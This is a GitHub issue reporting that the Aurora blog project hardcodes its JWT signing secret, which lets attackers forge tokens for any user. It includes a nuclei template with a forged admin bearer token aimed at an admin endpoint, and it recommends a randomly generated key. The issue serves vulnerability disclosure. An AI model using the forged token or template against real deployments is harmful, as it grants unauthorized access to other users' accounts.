We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Modify the sub field in jwt to be the id of another user to fake his/her identity.
sub
The nuclei template is as follows
id: aurora-jwt-hardencoding info: name: Aurora blog jwt secret key hardencoding author: calico severity: high description: jwt secret key hardcoding leads to unauthorised access reference: - https://github.com/linhaojun857/aurora/ tags: unauth requests: - raw: - |+ GET /api/admin/users/role HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJjMThlZTQxYWRmZDk0ZDYyOWQ2ZjExNTAxM2NkMjVmNiIsInN1YiI6IjEiLCJpc3MiOiJodWF3ZWltaWFuIn0.JoipYRzDC3jKAqNhV_0skiq4XikhNCmj2shMl5F1euA Connection: close matchers-condition: and matchers: - type: word part: body words: - '"code":20000' - type: status status: - 200
The JwtAuthenticationTokenFilter gets the jwt from the request via the tokenService#getUserDetailDTO method.
request
tokenService#getUserDetailDTO
Call the parseToken method to verify that the jwt is valid.
parseToken
In the parseToken method, get the signing key for jwt via the generalKey method
generalKey
Since SECRET is hardcoded in the code, the same key is returned in the generalKey method, resulting in a forged jwt
SECRET
latest
Randomly generate the key for jwt when the program is run
The text was updated successfully, but these errors were encountered:
Thank you for your feedback, I will fix it as soon as possible, and also welcome pr
Sorry, something went wrong.
No branches or pull requests
1. Steps to reproduce
Modify the
sub
field in jwt to be the id of another user to fake his/her identity.The nuclei template is as follows
2. Expected behavior
The JwtAuthenticationTokenFilter gets the jwt from the
request
via thetokenService#getUserDetailDTO
method.Call the
parseToken
method to verify that the jwt is valid.3. Actual behavior
In the
parseToken
method, get the signing key for jwt via thegeneralKey
methodSince
SECRET
is hardcoded in the code, the same key is returned in thegeneralKey
method, resulting in a forged jwt4. Affected Version
latest
5. Fixes Recommendations
Randomly generate the key for jwt when the program is run
The text was updated successfully, but these errors were encountered: